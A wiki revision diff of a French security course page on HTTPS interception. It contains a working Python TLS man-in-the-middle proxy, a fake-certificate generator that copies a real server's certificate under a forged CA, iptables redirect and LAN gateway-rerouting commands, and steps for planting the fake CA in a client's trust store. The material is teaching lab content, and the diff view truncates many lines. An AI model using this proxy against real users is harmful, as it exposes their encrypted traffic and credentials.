secres:https-interception
Differences
This shows you the differences between two versions of the page.
| Both sides previous revisionPrevious revisionNext revision | Previous revision | ||
| secres:https-interception [2017/04/11 14:29] – orel | secres:https-interception [2024/03/18 15:06] (current) – external edit 127.0.0.1 | ||
|---|---|---|---|
| Line 1: | Line 1: | ||
| ====== Interception HTTPS ====== | ====== Interception HTTPS ====== | ||
| - | Nous allons mettre en oeuvre le mécanisme d' | + | Nous allons mettre en oeuvre le mécanisme d' |
| - | Les exemples ci-dessous sont écrits en Python : https:// | ||
| + | Considérons le réseau suivant : | ||
| - | [[secres: | ||
| + | Client Web < | ||
| - | ==== Client HTTPS ==== | + | === Proxy SSL === |
| - | En guise d' | + | Voici le code de notre proxy SSL : |
| - | $ ./httpsget www.python.org 443 | + | < |
| - | + | #!/usr/ | |
| - | ==== Client/Serveur Echo en SSL ==== | + | import socket |
| + | import ssl | ||
| + | import sys | ||
| + | import time | ||
| + | import datetime | ||
| + | import os | ||
| - | Pour aller un peu plus loin, voici un exemple de client/ | + | BUFSIZE = 4096 |
| - | $ ./ | + | # this certificate must be trusted by the client victim! |
| - | | + | FAKE_CA_CERT = " |
| - | + | FAKE_CA_KEY = " | |
| - | | + | |
| - | ==== Proxy SSL dans un LAN ==== | + | # a fake certificate for the server that is a copy of the actual certificate except it is signed by our fake CA |
| + | FAKE_SERVER_CERT | ||
| + | FAKE_SERVER_KEY | ||
| - | Voici le code de notre proxy SSL : {{: | + | # actual |
| + | CA_CERT = "ca-cert.pem" | ||
| - | On considère le LAN suivant (192.168.0.0/ | + | ######### MISC ######### |
| - | V ---- [LAN] ----- GW -----> Internet | + | def log_message(format, |
| - | | | + | sys.stderr.write(" |
| - | PROXY | + | |
| - | avec : | + | ######### Main Serve Routine |
| - | * V, la vic | + | |
| - | * time (client HTTPS) ; | + | |
| - | * PROXY, la machine du LAN qui héberge notre proxy SSL ; | + | |
| - | * GW, la gateway vers Internet ! | + | |
| - | Nous allons uniquement nous intéresser à l' | + | # handle one connection |
| + | def serve(clientconn, clientaddr, serveraddr): | ||
| + | (serverhost, | ||
| + | (clienthost, | ||
| + | # wrap client connection with SSL context | ||
| + | clientcontext = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH) | ||
| + | clientcontext.load_cert_chain(certfile=FAKE_SERVER_CERT, | ||
| + | clientconnssl = clientcontext.wrap_socket(clientconn, | ||
| - | PROXY$ sudo iptables -A OUTPUT -p icmp --icmp-type redirect -j DROP | + | |
| - | | + | |
| - | | + | |
| - | | + | |
| - | PROXY$ sudo bash -c 'echo 1 > / | + | |
| - | PROXY$ | + | serverconnssl = servercontext.wrap_socket(serverconn, |
| - | | + | |
| - | V$ route del default | + | |
| - | V$ route add default gw @PROXY | + | |
| - | V$ wget -4 --ca-certificate=ca.crt https://www.python.org | + | |
| - | + | ||
| + | try: | ||
| + | serverconnssl.connect(serveraddr) | ||
| + | except ssl.SSLError as e: | ||
| + | log_message(" | ||
| + | clientconnssl.close() | ||
| + | return | ||
| - | ==== Test du Proxy SSL en local ==== | + | # start talking in SSL/TLS |
| + | sys.stdout.write(" | ||
| + | buffer | ||
| + | sys.stdout.write(" | ||
| + | serverconnssl.sendall(buffer) | ||
| + | sys.stdout.write(" | ||
| + | buffer | ||
| + | sys.stdout.write(" | ||
| + | clientconnssl.sendall(buffer) | ||
| + | buffer | ||
| + | sys.stdout.write(" | ||
| + | clientconnssl.sendall(buffer) | ||
| - | Pour tester en local notre Proxy SSL, le // | + | # close sockets |
| + | serverconnssl.close() | ||
| + | clientconnssl.close() | ||
| + | log_message('all connections closed') | ||
| - | $ sudo groupadd noredirect | + | ######### Main Loop ######### |
| - | $ sudo iptables -t nat -F | + | |
| - | $ sudo iptables -t nat -A OUTPUT -m owner ! --gid-owner noredirect | + | |
| - | -j REDIRECT --to-port 4444 | + | |
| - | $ sudo sg noredirect ' | + | |
| - | $ wget -4 --ca-certificate=ca.crt https:// | + | |
| - | + | ||
| - | ==== Génération d'un fake Certificat ==== | + | |
| + | def main(): | ||
| - | $ certtool --generate-privkey --outfile ca.key | + | if len(sys.argv) != 4: |
| - | | + | sys.stderr.write(" |
| - | $ certtool --certificate-info --infile | + | sys.exit(1) |
| + | |||
| + | SERVERHOST = sys.argv[1] | ||
| + | SERVERPORT = int(sys.argv[2]) | ||
| + | PROXYHOST = '' | ||
| + | PROXYPORT = int(sys.argv[3]) | ||
| + | |||
| + | proxyaddr = (PROXYHOST, PROXYPORT) | ||
| + | serveraddr = (SERVERHOST, | ||
| + | |||
| + | # create proxy socket listening on PROXYPORT | ||
| + | proxysocket = socket.socket(socket.AF_INET, | ||
| + | proxysocket.setsockopt(socket.SOL_SOCKET, | ||
| + | proxysocket.bind(proxyaddr) | ||
| + | proxysocket.listen() | ||
| + | |||
| + | # main loop | ||
| + | log_message(' | ||
| + | log_message(' | ||
| + | |||
| + | while True: | ||
| + | try: | ||
| + | log_message(" | ||
| + | clientconn, clientaddr = proxysocket.accept() | ||
| + | serve(clientconn, | ||
| + | except KeyboardInterrupt: | ||
| + | log_message(" | ||
| + | proxysocket.close() | ||
| + | break | ||
| + | |||
| + | ######### Main Program | ||
| + | |||
| + | main() | ||
| + | </ | ||
| + | |||
| + | === Génération des faux certificats === | ||
| + | |||
| + | Commençons par générer un //fake CA// : | ||
| + | |||
| + | | ||
| + | $ certtool --generate-self-signed --load-privkey | ||
| + | |||
| + | Voici les réponses à donner strictement : | ||
| * La plupart des champs peuvent rester vides. | * La plupart des champs peuvent rester vides. | ||
| - | * Common name: CA | + | * Common name: FAKECA |
| - | * The certificate will expire in (days): 255 | + | * The certificate will expire in (days): 255 |
| * Does the certificate belong to an authority? (y/N): y | * Does the certificate belong to an authority? (y/N): y | ||
| * Will the certificate be used to sign other certificates? | * Will the certificate be used to sign other certificates? | ||
| + | * CRL signing: y | ||
| + | * All other extensions: NO (required) | ||
| - | $ certtool --generate-privkey --outfile fake.key | + | Pour afficher le contenu de son certificat : |
| - | $ certtool --generate-certificate --load-privkey fake.key --outfile fake.crt --load-ca-certificate ca.crt \ | + | |
| - | --load-ca-privkey ca.key | + | $ certtool --infile fake-ca-cert.pem -i |
| - | $ certtool | + | |
| + | Générons maintenant le //fake// certifcat de notre serveur. | ||
| + | |||
| + | $ certtool --generate-privkey --outfile fake-server-key.pem | ||
| + | $ certtool --generate-certificate --load-privkey fake-server-key.pem --outfile fake-server-cert.pem --load-ca-certificate | ||
| + | |||
| + | Voici les réponses à donner strictement : | ||
| * La plupart des champs peuvent rester vides | * La plupart des champs peuvent rester vides | ||
| - | * CN=www.python.org | + | * CN=nile.metal.fr |
| - | * DNSName=www.pyhon.org | + | * DNSName=nile.metal.fr |
| + | * IP address=10.0.0.2 | ||
| * The certificate will expire in (days): 255 | * The certificate will expire in (days): 255 | ||
| * Will the certificate be used for signing (required for TLS)? (y/N): y | * Will the certificate be used for signing (required for TLS)? (y/N): y | ||
| * Will the certificate be used for encryption (not required for TLS)? (y/N): y | * Will the certificate be used for encryption (not required for TLS)? (y/N): y | ||
| + | Vous pouvez également utiliser le script suivant pour générer automatiquent le //fake// certificat pour le serveur nile.metal.fr : | ||
| - | ==== Documentation | + | ./ |
| + | <code python gen-fake-cert.py> | ||
| + | # | ||
| + | import socket | ||
| + | import ssl | ||
| + | import sys | ||
| + | import pprint | ||
| + | import OpenSSL | ||
| + | import time | ||
| + | import datetime | ||
| + | import os | ||
| + | import struct | ||
| + | |||
| + | # this certificate must be trusted by the client victim! | ||
| + | FAKE_CA_CERT = " | ||
| + | FAKE_CA_KEY = " | ||
| + | |||
| + | # a fake certificate for the server that is a copy of the actual certificate except it is signed by our fake CA | ||
| + | FAKE_SERVER_CERT = " | ||
| + | FAKE_SERVER_KEY = " | ||
| + | |||
| + | ######### MISC ######### | ||
| + | |||
| + | def log_message(format, | ||
| + | sys.stderr.write(" | ||
| + | |||
| + | ######### Certificate Tools ######### | ||
| + | |||
| + | # cert input are assuming to be x509 | ||
| + | |||
| + | # save x509 cert file (PEM format) | ||
| + | def save_cert(cert, | ||
| + | certfile = open(path, " | ||
| + | certfile.write(OpenSSL.crypto.dump_certificate(OpenSSL.crypto.FILETYPE_PEM, | ||
| + | certfile.close() | ||
| + | |||
| + | # save private key file (PEM format) | ||
| + | def save_key(key, | ||
| + | keyfile = open(path, " | ||
| + | keyfile.write(OpenSSL.crypto.dump_privatekey(OpenSSL.crypto.FILETYPE_PEM, | ||
| + | keyfile.close() | ||
| + | |||
| + | def load_cert(path): | ||
| + | certfile = open(path, ' | ||
| + | cert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, | ||
| + | certfile.close() | ||
| + | return cert | ||
| + | |||
| + | def load_key(path): | ||
| + | keyfile = open(path, ' | ||
| + | key = OpenSSL.crypto.load_privatekey(OpenSSL.crypto.FILETYPE_PEM, | ||
| + | keyfile.close() | ||
| + | return key | ||
| + | |||
| + | ######### Generate Fake Certificate ######### | ||
| + | |||
| + | def generate_fake_cert(cert, | ||
| + | |||
| + | # get CN & SAN from x509 cert | ||
| + | cn = cert.get_subject().CN | ||
| + | ext = None | ||
| + | for idx in range(cert.get_extension_count()): | ||
| + | ext = cert.get_extension(idx) | ||
| + | if(ext.get_short_name() == b' | ||
| + | # if DEBUG: print(" | ||
| + | |||
| + | # create a key pair | ||
| + | fakekey = OpenSSL.crypto.PKey() | ||
| + | fakekey.generate_key(OpenSSL.crypto.TYPE_RSA, | ||
| + | |||
| + | # create a new x509 cert | ||
| + | fakecert = OpenSSL.crypto.X509() | ||
| + | fakecert.get_subject().CN = cn | ||
| + | fakecert.set_serial_number(int(time.time())) | ||
| + | fakecert.gmtime_adj_notBefore( 0 ) # not valid before today | ||
| + | fakecert.gmtime_adj_notAfter( 60*60*24*365*5 ) # not valid after 5 years | ||
| + | fakecert.set_pubkey(fakekey) | ||
| + | fakecert.set_version(0x2) # set certificate version to X509 v3 (0x2), required for X509 extensions | ||
| + | |||
| + | # add subjectAltName X509 extension (SAN) | ||
| + | if ext: fakecert.add_extensions([ext]) | ||
| + | |||
| + | # set issuer and CA signature | ||
| + | fakecert.set_issuer(cacert.get_subject()) | ||
| + | fakecert.sign(cakey, | ||
| + | fakecert.sign(cakey, | ||
| + | |||
| + | return (fakecert, fakekey) | ||
| + | |||
| + | |||
| + | ######### Main Program | ||
| + | |||
| + | if len(sys.argv) != 3: | ||
| + | sys.stderr.write(" | ||
| + | sys.exit(1) | ||
| + | |||
| + | SERVERHOST = sys.argv[1] | ||
| + | SERVERPORT = int(sys.argv[2]) | ||
| + | serveraddr = (SERVERHOST, | ||
| + | |||
| + | # load CA cert & CA key (x509) | ||
| + | fakecacert = load_cert(FAKE_CA_CERT) | ||
| + | fakecakey = load_key(FAKE_CA_KEY) | ||
| + | |||
| + | sslservercert = ssl.get_server_certificate(serveraddr) | ||
| + | servercert = OpenSSL.crypto.load_certificate(OpenSSL.crypto.FILETYPE_PEM, | ||
| + | servercn = servercert.get_subject().CN | ||
| + | log_message(' | ||
| + | |||
| + | fakeservercert, | ||
| + | save_cert(fakeservercert, | ||
| + | save_key(fakeserverkey, | ||
| + | log_message(' | ||
| + | </ | ||
| + | | ||
| + | |||
| + | === Lancement du Proxy HTTPS === | ||
| + | |||
| + | Lancement du proxy : | ||
| + | |||
| + | iptables -t nat -F | ||
| + | iptables -t nat -A PREROUTING -d nile.metal.fr -p tcp --dport 443 -j REDIRECT --to-port 4444 | ||
| + | ./ | ||
| + | |||
| + | === Mise en oeuvre avec un client === | ||
| + | |||
| + | Sur le client : | ||
| + | |||
| + | wget -4 --ca-certificate=fake-ca-cert.pem https:// | ||
| + | |||
| + | Pour ajouter le //fake// CA dans le store du client, il faut faire : | ||
| + | |||
| + | cp ca-cert.pem ca-cert.crt # renommage | ||
| + | cp ca-cert.crt / | ||
| + | dpkg-reconfigure ca-certificates | ||
| + | | ||
| + | Puis, il suffit de faire : | ||
| + | | ||
| + | wget -4 https:// | ||
| + | | ||
| + | |||
| + | Video de démo par A. Guermouche : https:// | ||
| + | |||
| + | ==== Documentation ==== | ||
| + | |||
| + | Le code et la documentation du projet (version antérieure) sont ici : https:// | ||
| + | |||
| + | About HTTPS interception: | ||
| * http:// | * http:// | ||
| Line 108: | Line 325: | ||
| * SNI : https:// | * SNI : https:// | ||
| * SAN : https:// | * SAN : https:// | ||
| - | | + | |
| + | About SSL in Python3: | ||
| + | |||
| + | * https:// | ||
| + | |||
| + | Misc: | ||
| + | |||
| + | * https:// | ||
| + | * [[secres: | ||
| + | |||
| + | |||
secres/https-interception.1491920957.txt.gz · Last modified: 2024/03/18 15:05 (external edit)
